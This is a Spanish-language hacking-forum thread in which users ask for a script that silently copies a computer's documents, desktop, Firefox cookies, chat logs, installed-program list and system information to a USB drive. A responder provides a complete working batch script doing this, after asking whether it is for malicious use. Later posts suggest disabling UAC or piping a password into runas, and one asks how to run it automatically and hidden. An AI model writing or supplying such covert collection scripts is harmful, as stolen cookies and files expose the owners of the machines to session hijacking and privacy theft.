|
Título: hacer script vbs para copiar datos a usb Publicado por: daniwxp11 en 2 Enero 2012, 23:02 pm Hola a tod@s, me gustaria que me ayudasen a crear un script vbs para copiar datos de una carpeta a mi pendriver quero copiar
Mis Documentos Mi Musica Cokies firefox Registros conversacion msn Fondo de escritorio Escritorio Lista programas instalados Informacion pc, ram disco duro etc... ayudadme porfavor, es mi primera vez en programacion y lo necesito rapido...... Título: Re: hacer script vbs para copiar datos a usb Publicado por: Eleкtro en 2 Enero 2012, 23:52 pm Hola a tod@s, me gustaria que me ayudasen a crear un script vbs para copiar datos de una carpeta a mi pendriver quero copiar ayudadme porfavor, es mi primera vez en programacion y lo necesito rapido...... ¿Alguna razón en especial por que lo quieres en VBS? Si quieres te lo puedo hacer en Batch... Pero sea como sea, Di en que versión de Windows quieres ejecutar el script (y si es x86 o x64), que aqui no somos magos. Saludos Título: Re: hacer script vbs para copiar datos a usb Publicado por: daniwxp11 en 3 Enero 2012, 01:09 am lo siento pensaba que valia para todos los sistemas, es para windows7 x86, y de vbs y me da igual vbs o patch, pero que sea invisible
Salu2 Dani ;) Título: Re: hacer script vbs para copiar datos a usb Publicado por: Eleкtro en 3 Enero 2012, 12:54 pm Había escrito un mensaje aqui con un code bastante largo y se ha borrado por arte de magia...
(Problemas del foro?) Por suerte aún guardaba una copia del script. :/ Bueno Daniwxp11 lo que te dije en mi post borrado: Se me olvidó preguntarte si el batch es para intenciones maliciosas.. .osea, si lo quieres ejecutar oculto. Y si el pendrive se debe detectar automáticamente o te da igual introducirlo manualmente. Bueno, si necesitas algún cambio, Avisa. PD: No tengo el MSN de microsoft instalado así que no puedo hacer esa parte del code porque no conozco las rutas de los registros del Msn y/o MSN Plus, pero puedes intentar hacerlo tú mismo de la misma manera que copio las cookies de firefox. Saludos Código: @echo off Rem By EleKtro H@cker Rem Visita Foro.ElHacker.Net Title Proyecto 1 Mode con cols=58 lines=30 Color 7 :Select ::::: PUSHD "%WINDIR%\System32\" Echo+ Echo Unidades disponibles Echo ==================== Echo. For /F "tokens=2-9 Delims=\ " %%a in ('fsutil fsinfo drives') do ( If "%%a" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%a) If "%%b" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%b) If "%%c" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%c) If "%%d" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%d) If "%%e" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%e) If "%%f" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%f) If "%%g" EQU "" (<Nul Set /P= ) ELSE (fsutil fsinfo drivetype %%g) ) Echo. Echo elige la letra de la unidad de destino. (Ejemplo: C) Echo. set /p DEST=^>^> If Not defined DEST ( CLS Goto :Select ) ELSE ( Set DEST=%DEST:~0,1% Set DEST=%DEST%: ) If not exist "%Dest%" ( Echo+ Echo "%DEST%" Unidad no valida... Ping -n 3 LocalHost >nul Set Dest= Cls Goto :Select) :Start :::::: Cls Echo+ Echo %ComputerName% (%username%) Echo. Echo Origen: %Homedrive% Echo Destino: %Dest% Echo. Echo ========================================================== Echo Copiando Mis documentos... call :Copy %userprofile%\Documents Echo. Echo Copiando Mi m£sica... call :Copy %userprofile%\Music Echo. Echo Copiando Escritorio... call :Copy %userprofile%\Desktop Echo. Echo Copiando Fondo de escritorio... call :Copy %appdata%\Microsoft\Windows\Themes Echo. Echo Copiando Cookies Firefox... For /F "tokens=*" %%_ in ('Dir /B "%appdata%\Mozilla\Firefox\Profiles"') do ( MKdir "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\" >nul 2>&1 Copy /Y "%appdata%\Mozilla\Firefox\Profiles\%%_\Cookies.sq*" "%DEST%\%ComputerName%\%appdata::=%\Mozilla\Firefox\Profiles\%%_\" >nul 2>&1) Echo. Echo Copiando Conversaciones MSN... Echo ... Mentira xD Echo. Echo Extrayendo Informacion del PC... Systeminfo > "%DEST%\%ComputerName%\Info PC.txt" Echo. Echo Extrayendo Programas instalados... Echo :Programas instalados: > "%DEST%\%ComputerName%\Programas instalados.txt" Echo ====================== >>"%DEST%\%ComputerName%\Programas instalados.txt" CALL :Reg HKLM CALL :Reg HKCU Goto :Fin :SubRutinas: :::::::::::: :Copy Set "PATH=%*" Set "PATH=%PATH::=%" Xcopy /E /Y "%*" "%DEST%\%ComputerName%\%PATH%\" >nul 2>&1 Goto :EOF :REG Setlocal EnableDelayedexpansion For /F "tokens=*" %%_ in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"') Do ( Set KeyName=%%_ Set KeyName=!KeyName:~71! For /F "tokens=* Skip=2 delims=_" %%a in ('Reg query "%1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\!KeyName!" /V "DisplayName" 2^>nul') Do ( Set Name=%%a Set Name=!Name:~29! Echo !NAME!>>"%DEST%\%ComputerName%\Programas instalados.txt" ) ) Sort "%DEST%\%ComputerName%\Programas instalados.txt" /O "%DEST%\%ComputerName%\Programas instalados.txt" Setlocal DisableDelayedexpansion Goto :EOF :Fin :::: Echo. Echo. Echo. Echo Informaci¢n guardada!! :) Ping -n 5 LocalHost >nul Exit (http://img52.imageshack.us/img52/7713/prtscrcapturedb.jpg) (http://img209.imageshack.us/img209/5872/prtscrcapture2n.jpg) Título: Re: hacer script vbs para copiar datos a usb Publicado por: danixito en 17 Febrero 2012, 00:50 am Hola que tal no se si me puedan apoyar,lo que estoy mas o menos queriendo hacer
es Maquina 1 tiene una usuario A,pero el usuario A se va a otra maquina 2,y desde esa maquina 2 quiere copiar toda la informacion que habia en maquina 1,son usuarios en red registrados en un directorio activo,lo que busco es hacer un batch para poder hacer el copy ,sin necesidad de que me pida credencialesal ingresar a la maquina 1 o en todo caso como podria hacer ellos para incluir dicha opcion ,espero su apoyo Graciass Título: Re: hacer script vbs para copiar datos a usb Publicado por: Eleкtro en 17 Febrero 2012, 01:37 am Desactiva el UAC en la máquina 1 y 2. Fin del asunto (Supongo), Sin complicaciones.
Si no puedes porque no eres el dueño, o algo, Prueba esto: Código: Echo PASSWORD_DE_LA_CUENTA_DE_MAQUINA_1 | Runas /profile /user:NOMBRE_DEL_PC_MAQUINA_1\NOMBRE_DE_LA_CUENTA_MAQUINA_1 "comandos .........etc" EJEMPLO: Código Título: Re: hacer script vbs para copiar datos a usb Publicado por: KMakoto en 7 Mayo 2013, 05:03 am Hola, como seria para que este script sea automatico y de modo oculto ¿?
|